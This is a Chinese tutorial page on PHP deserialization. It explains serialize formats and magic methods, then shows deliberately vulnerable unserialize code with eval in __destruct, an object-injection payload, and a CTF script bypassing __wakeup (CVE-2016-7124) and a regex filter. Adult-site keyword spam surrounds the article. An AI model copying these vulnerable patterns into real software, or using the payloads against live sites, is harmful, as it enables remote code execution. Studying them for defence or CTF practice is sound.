成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

詳解php反序列化

瀏覽:247日期:2022-09-09 18:31:59

1 前言

最近也是在復(fù)習(xí)之前學(xué)過(guò)的內(nèi)容,感覺(jué)對(duì)PHP反序列化的理解更加深了,所以在此總結(jié)一下

2 serialize()函數(shù)

“所有php里面的值都可以使用函數(shù)serialize()來(lái)返回一個(gè)包含字節(jié)流的字符串來(lái)表示。序列化一個(gè)對(duì)象將會(huì)保存對(duì)象的所有變量,但是不會(huì)保存對(duì)象的方法,只會(huì)保存類(lèi)的名字。”

一開(kāi)始看這個(gè)概念可能有些懵,但之后也是慢慢理解了

在程序執(zhí)行結(jié)束時(shí),內(nèi)存數(shù)據(jù)便會(huì)立即銷(xiāo)毀,變量所儲(chǔ)存的數(shù)據(jù)便是內(nèi)存數(shù)據(jù),而文件、數(shù)據(jù)庫(kù)是“持久數(shù)據(jù)”,因此PHP序列化就是將內(nèi)存的變量數(shù)據(jù)“保存”到文件中的持久數(shù)據(jù)的過(guò)程。

$s = serialize($變量); //該函數(shù)將變量數(shù)據(jù)進(jìn)行序列化轉(zhuǎn)換為字符串 file_put_contents(‘./目標(biāo)文本文件’, $s); //將$s保存到指定文件

下面通過(guò)一個(gè)具體的例子來(lái)了解一下序列化:

<?phpclass User{ public $age = 0; public $name = ’’; public function PrintData() { echo ’User ’.$this->name.’is’.$this->age.’years old. <br />’; }}//創(chuàng)建一個(gè)對(duì)象$user = new User();// 設(shè)置數(shù)據(jù)$user->age = 20;$user->name = ’daye’;//輸出數(shù)據(jù)$user->PrintData();//輸出序列化之后的數(shù)據(jù)echo serialize($user);?>

這個(gè)是結(jié)果:

詳解php反序列化

可以看到序列化一個(gè)對(duì)象后將會(huì)保存對(duì)象的所有變量,并且發(fā)現(xiàn)序列化后的結(jié)果都有一個(gè)字符,這些字符都是以下字母的縮寫(xiě)。

a - array b - booleand - double i - integero - common object r - references - string C - custom objectO - class N - nullR - pointer reference U - unicode string

了解了縮寫(xiě)的類(lèi)型字母,便可以得到PHP序列化格式

O:4:'User':2:{s:3:'age';i:20;s:4:'name';s:4:'daye';}對(duì)象類(lèi)型:長(zhǎng)度:'類(lèi)名':類(lèi)中變量的個(gè)數(shù):{類(lèi)型:長(zhǎng)度:'值';類(lèi)型:長(zhǎng)度:'值';......}

通過(guò)以上例子,便可以理解了概念中的通過(guò)serialize()函數(shù)返回一個(gè)包含字節(jié)流的字符串這一段話。

3 unserialize()函數(shù)

unserialize() 對(duì)單一的已序列化的變量進(jìn)行操作,將其轉(zhuǎn)換回 PHP 的值。在解序列化一個(gè)對(duì)象前,這個(gè)對(duì)象的類(lèi)必須在解序列化之前定義。

簡(jiǎn)單來(lái)理解起來(lái)就算將序列化過(guò)存儲(chǔ)到文件中的數(shù)據(jù),恢復(fù)到程序代碼的變量表示形式的過(guò)程,恢復(fù)到變量序列化之前的結(jié)果。

$s = file_get_contents(‘./目標(biāo)文本文件’); //取得文本文件的內(nèi)容(之前序列化過(guò)的字符串) $變量 = unserialize($s); //將該文本內(nèi)容,反序列化到指定的變量中

通過(guò)一個(gè)例子來(lái)了解反序列化:

<?phpclass User{ public $age = 0; public $name = ’’; public function PrintData() { echo ’User ’.$this->name.’ is ’.$this->age.’ years old. <br />’; }}//重建對(duì)象$user = unserialize(’O:4:'User':2:{s:3:'age';i:20;s:4:'name';s:4:'daye';}’);$user->PrintData();?>

這個(gè)是結(jié)果:

詳解php反序列化

注意:在解序列化一個(gè)對(duì)象前,這個(gè)對(duì)象的類(lèi)必須在解序列化之前定義。否則會(huì)報(bào)錯(cuò)

4 PHP反序列化漏洞

在學(xué)習(xí)漏洞前,先來(lái)了解一下PHP魔法函數(shù),對(duì)接下來(lái)的學(xué)習(xí)會(huì)很有幫助

PHP 將所有以 __(兩個(gè)下劃線)開(kāi)頭的類(lèi)方法保留為魔術(shù)方法

__construct 當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用,__destruct 當(dāng)一個(gè)對(duì)象銷(xiāo)毀時(shí)被調(diào)用,__toString 當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串被調(diào)用。__wakeup() 使用unserialize時(shí)觸發(fā)__sleep() 使用serialize時(shí)觸發(fā)__destruct() 對(duì)象被銷(xiāo)毀時(shí)觸發(fā)__call() 在對(duì)象上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)__callStatic() 在靜態(tài)上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)__get() 用于從不可訪問(wèn)的屬性讀取數(shù)據(jù)__set() 用于將數(shù)據(jù)寫(xiě)入不可訪問(wèn)的屬性__isset() 在不可訪問(wèn)的屬性上調(diào)用isset()或empty()觸發(fā)__unset() 在不可訪問(wèn)的屬性上使用unset()時(shí)觸發(fā)__toString() 把類(lèi)當(dāng)作字符串使用時(shí)觸發(fā),返回值需要為字符串__invoke() 當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)

這里只列出了一部分的魔法函數(shù),具體可見(jiàn)

https://www.php.net/manual/zh/language.oop5.magic.php

下面通過(guò)一個(gè)例子來(lái)了解一下魔法函數(shù)被自動(dòng)調(diào)用的過(guò)程

<?phpclass test{ public $varr1='abc'; public $varr2='123'; public function echoP(){ echo $this->varr1.'<br>'; } public function __construct(){ echo '__construct<br>'; } public function __destruct(){ echo '__destruct<br>'; } public function __toString(){ return '__toString<br>'; } public function __sleep(){ echo '__sleep<br>'; return array(’varr1’,’varr2’); } public function __wakeup(){ echo '__wakeup<br>'; }}$obj = new test(); //實(shí)例化對(duì)象,調(diào)用__construct()方法,輸出__construct$obj->echoP(); //調(diào)用echoP()方法,輸出'abc'echo $obj; //obj對(duì)象被當(dāng)做字符串輸出,調(diào)用__toString()方法,輸出__toString$s =serialize($obj); //obj對(duì)象被序列化,調(diào)用__sleep()方法,輸出__sleepecho unserialize($s); //$s首先會(huì)被反序列化,會(huì)調(diào)用__wake()方法,被反序列化出來(lái)的對(duì)象又被當(dāng)做字符串,就會(huì)調(diào)用_toString()方法。// 腳本結(jié)束又會(huì)調(diào)用__destruct()方法,輸出__destruct?>

這個(gè)是結(jié)果:

詳解php反序列化

通過(guò)這個(gè)例子就可以清晰的看到魔法函數(shù)在符合相應(yīng)的條件時(shí)便會(huì)被調(diào)用。

5 對(duì)象注入

當(dāng)用戶的請(qǐng)求在傳給反序列化函數(shù)unserialize()之前沒(méi)有被正確的過(guò)濾時(shí)就會(huì)產(chǎn)生漏洞。因?yàn)镻HP允許對(duì)象序列化,攻擊者就可以提交特定的序列化的字符串給一個(gè)具有該漏洞的unserialize函數(shù),最終導(dǎo)致一個(gè)在該應(yīng)用范圍內(nèi)的任意PHP對(duì)象注入。

對(duì)象漏洞出現(xiàn)得滿足兩個(gè)前提:

一、unserialize的參數(shù)可控。

二、 代碼里有定義一個(gè)含有魔術(shù)方法的類(lèi),并且該方法里出現(xiàn)一些使用類(lèi)成員變量作為參數(shù)的存在安全問(wèn)題的函數(shù)。下面來(lái)舉個(gè)例子:

<?phpclass A{ var $test = 'demo'; function __destruct(){ echo $this->test; }}$a = $_GET[’test’];$a_unser = unserialize($a);?>

比如這個(gè)列子,直接是用戶生成的內(nèi)容傳遞給unserialize()函數(shù),那就可以構(gòu)造這樣的語(yǔ)句

?test=O:1:'A':1:{s:4:'test';s:5:'lemon';}

在腳本運(yùn)行結(jié)束后便會(huì)調(diào)用_destruct函數(shù),同時(shí)會(huì)覆蓋test變量輸出lemon。

詳解php反序列化

發(fā)現(xiàn)這個(gè)漏洞,便可以利用這個(gè)漏洞點(diǎn)控制輸入變量,拼接成一個(gè)序列化對(duì)象。

再看一個(gè)例子:

<?phpclass A{ var $test = 'demo'; function __destruct(){ @eval($this->test);//_destruct()函數(shù)中調(diào)用eval執(zhí)行序列化對(duì)象中的語(yǔ)句 }}$test = $_POST[’test’];$len = strlen($test)+1;$pp = 'O:1:'A':1:{s:4:'test';s:'.$len.':''.$test.';';}'; // 構(gòu)造序列化對(duì)象$test_unser = unserialize($pp); // 反序列化同時(shí)觸發(fā)_destruct函數(shù)?>

其實(shí)仔細(xì)觀察就會(huì)發(fā)現(xiàn),其實(shí)我們手動(dòng)構(gòu)造序列化對(duì)象就是為了unserialize()函數(shù)能夠觸發(fā)__destruc()函數(shù),然后執(zhí)行在__destruc()函數(shù)里惡意的語(yǔ)句。

所以我們利用這個(gè)漏洞點(diǎn)便可以獲取web shell了

詳解php反序列化

6 繞過(guò)魔法函數(shù)的反序列化

wakeup()魔法函數(shù)繞過(guò)

PHP5<5.6.25PHP7<7.0.10

PHP反序列化漏洞CVE-2016-7124

#a#重點(diǎn):當(dāng)反序列化字符串中,表示屬性個(gè)數(shù)的值大于真實(shí)屬性個(gè)數(shù)時(shí),會(huì)繞過(guò) __wakeup 函數(shù)的執(zhí)行

百度杯——Hash

詳解php反序列化

其實(shí)仔細(xì)分析代碼,只要我們能繞過(guò)兩點(diǎn)即可得到f15g_1s_here.php的內(nèi)容

(1)繞過(guò)正則表達(dá)式對(duì)變量的檢查 (2)繞過(guò)_wakeup()魔法函數(shù),因?yàn)槿绻覀兎葱蛄谢牟皇荊u3ss_m3_h2h2.php,這個(gè)魔法函數(shù)在反序列化時(shí)會(huì)觸發(fā)并強(qiáng)制轉(zhuǎn)成Gu3ss_m3_h2h2.php

那么問(wèn)題就來(lái)了,如果繞過(guò)正則表達(dá)式(1)/[oc]:d+:/i,例如:o:4:這樣就會(huì)被匹配到,而繞過(guò)也很簡(jiǎn)單,只需加上一個(gè)+,這個(gè)正則表達(dá)式即匹配不到0:+4:

(2)繞過(guò)_wakeup()魔法函數(shù),上面提到了當(dāng)反序列化字符串中,表示屬性個(gè)數(shù)的值大于真實(shí)屬性個(gè)數(shù)時(shí),會(huì)繞過(guò) _wakeup 函數(shù)的執(zhí)行

編寫(xiě)php序列化腳本

<?phpclass Demo { private $file = ’Gu3ss_m3_h2h2.php’; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != ’Gu3ss_m3_h2h2.php’) { //the secret is in the f15g_1s_here.php $this->file = ’Gu3ss_m3_h2h2.php’; } }}#先創(chuàng)建一個(gè)對(duì)象,自動(dòng)調(diào)用__construct魔法函數(shù)$obj = new Demo(’f15g_1s_here.php’);#進(jìn)行序列化$a = serialize($obj);#使用str_replace() 函數(shù)進(jìn)行替換,來(lái)繞過(guò)正則表達(dá)式的檢查$a = str_replace(’O:4:’,’O:+4:’,$a);#使用str_replace() 函數(shù)進(jìn)行替換,來(lái)繞過(guò)__wakeup()魔法函數(shù)$a = str_replace(’:1:’,’:2:’,$a);#再進(jìn)行base64編碼echo base64_encode($a);?>

以上就是詳解php反序列化的詳細(xì)內(nèi)容,更多關(guān)于php反序列化的資料請(qǐng)關(guān)注好吧啦網(wǎng)其它相關(guān)文章!

標(biāo)簽: PHP
相關(guān)文章:
成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久
在线播放中文一区| 国产精品chinese| 成人黄色片在线观看| 欧美性大战久久| 亚洲一区二区三区四区不卡| 欧美午夜精品久久久久免费视| 91精品免费在线观看| 午夜婷婷国产麻豆精品| 亚洲视频高清| 日韩免费在线观看| 韩国三级在线一区| 亚洲欧美bt| 亚洲裸体在线观看| 亚洲激情视频| 亚洲人成网站精品片在线观看| 欧美三级免费| 久久久av毛片精品| 成人h动漫精品| 欧美色视频一区| 久久国产剧场电影| 91精品国产aⅴ一区二区| 激情亚洲综合在线| 欧美精品在线观看播放| 日韩成人伦理电影在线观看| 香蕉免费一区二区三区在线观看 | 精品动漫3d一区二区三区免费版| 久久综合999| 成人h精品动漫一区二区三区| 日韩一级二级三级| 国产v日产∨综合v精品视频| 精品国产在天天线2019| a4yy欧美一区二区三区| 久久一日本道色综合| 91在线porny国产在线看| 国产亚洲精品资源在线26u| 午夜欧美视频| 国产精品素人一区二区| 亚洲高清视频一区| 亚洲免费av观看| 快she精品国产999| 狠狠狠色丁香婷婷综合激情| 欧美电影免费观看高清完整版在线| 成人成人成人在线视频| 久久久久久久久99精品| 欧美久久久久久久| 亚洲欧美另类久久久精品| 免费精品视频| 久久国产精品99久久人人澡| 日韩一区二区三区视频在线观看| 成人午夜视频在线| 中文在线免费一区三区高中清不卡| 国产一区二区中文| 亚洲一区自拍偷拍| 欧美午夜片在线观看| 亚洲女子a中天字幕| 久久午夜视频| 国产高清久久久久| 亚洲国产岛国毛片在线| 免费在线亚洲欧美| 精品在线播放免费| 久久欧美中文字幕| 亚洲国产午夜| 男人的天堂久久精品| 精品免费视频一区二区| 1024成人| 激情六月婷婷综合| 日本一区二区三区在线观看| 国产日韩欧美三区| 国产黑丝在线一区二区三区| 中文字幕中文字幕一区| 一本到一区二区三区| 波多野结衣91| 亚洲伊人色欲综合网| 7777精品久久久大香线蕉| 好吊一区二区三区| 精品一区二区综合| 国产精品初高中害羞小美女文| 久久精品官网| 成人美女视频在线观看| 国产综合欧美| 久久爱另类一区二区小说| 欧美xxxx老人做受| 在线亚洲美日韩| 国产成人午夜精品5599| 欧美一区二区性放荡片| 国产一区二区三区四区hd| 久久精品国产一区二区三区免费看| 久久精品男人的天堂| 色香蕉成人二区免费| www.亚洲国产| 午夜视频一区二区| 精品国产免费人成在线观看| 亚洲一区不卡| 99麻豆久久久国产精品免费| 亚洲国产精品视频| 久久久久久久精| 色哟哟一区二区在线观看| 成人黄色在线看| 五月婷婷欧美视频| 日本一区二区成人| 欧美日韩免费电影| 在线成人h网| 国产a视频精品免费观看| 亚洲色图.com| 日韩欧美国产成人一区二区| 免费日韩av片| 99久久免费国产| 日韩专区一卡二卡| 国产精品天干天干在观线| 欧美日韩国产另类一区| 一区二区亚洲精品| 中文字幕五月欧美| 91精品国产一区二区三区香蕉| 亚洲人成网站在线观看播放| 亚洲成在线观看| 日韩精品一区二区三区在线观看| 久久高清免费观看| 欧美日韩无遮挡| 韩日欧美一区二区三区| 亚洲国产中文字幕在线视频综合| 久久久高清一区二区三区| 欧美日韩国产成人在线免费| 亚洲精品国产系列| heyzo一本久久综合| 麻豆视频一区二区| 亚洲免费av网站| 久久久美女毛片| 欧美精选午夜久久久乱码6080| 国产日韩欧美一区二区三区在线观看| 成人av网站在线观看| 久久国产精品99久久久久久老狼 | 亚洲精品一区二区三区蜜桃久| 不卡的电影网站| 久久精品久久综合| 亚洲电影一级黄| 中国av一区二区三区| 欧美日韩中文字幕一区二区| 国产精品裸体一区二区三区| 欧美精品尤物在线| www.av亚洲| 国产精品77777竹菊影视小说| 午夜不卡av在线| 亚洲美女偷拍久久| 久久精品日韩一区二区三区| 欧美喷水一区二区| 色天使色偷偷av一区二区| 一区二区在线视频观看| 欧美chengren| 成人午夜精品在线| 久久国产精品区| 日韩专区中文字幕一区二区| 亚洲精品视频在线| 国产精品理伦片| 国产欧美一区二区三区在线老狼| 日韩一二三区视频| 7777精品伊人久久久大香线蕉最新版| 色婷婷综合五月| 久热这里只精品99re8久| 亚洲永久网站| 日韩亚洲精品在线| 在线不卡视频| 极品中文字幕一区| 欧美国产先锋| 欧美日韩精品不卡| 欧美精品国产一区二区| 91一区二区在线观看| 成人精品在线视频观看| 国产一二精品视频| 国产精品一区二区在线播放 | 欧美日韩一区二区在线视频| 91福利在线观看| 久久亚洲国产精品日日av夜夜| 欧美在线综合| 亚洲综合国产激情另类一区| 亚洲一区二三| 裸体一区二区| 久久精品主播| 色狠狠色狠狠综合| 91成人在线免费观看| 在线视频欧美区| 一本大道综合伊人精品热热 | 欧美日本在线播放| 欧美日韩成人一区| 在线不卡免费av| 欧美成人a∨高清免费观看| 欧美肥妇bbw| 日韩精品最新网址| 久久久久久久久免费| 欧美国产成人在线| 亚洲欧洲美洲综合色网| 自拍偷拍国产亚洲| 亚洲蜜桃精久久久久久久| 亚洲欧美日韩人成在线播放| 亚洲一区在线播放| 日本强好片久久久久久aaa| 日本午夜精品一区二区三区电影| 日本在线播放一区二区三区| 国内外成人在线| 国产黑丝在线一区二区三区| 成人激情免费电影网址|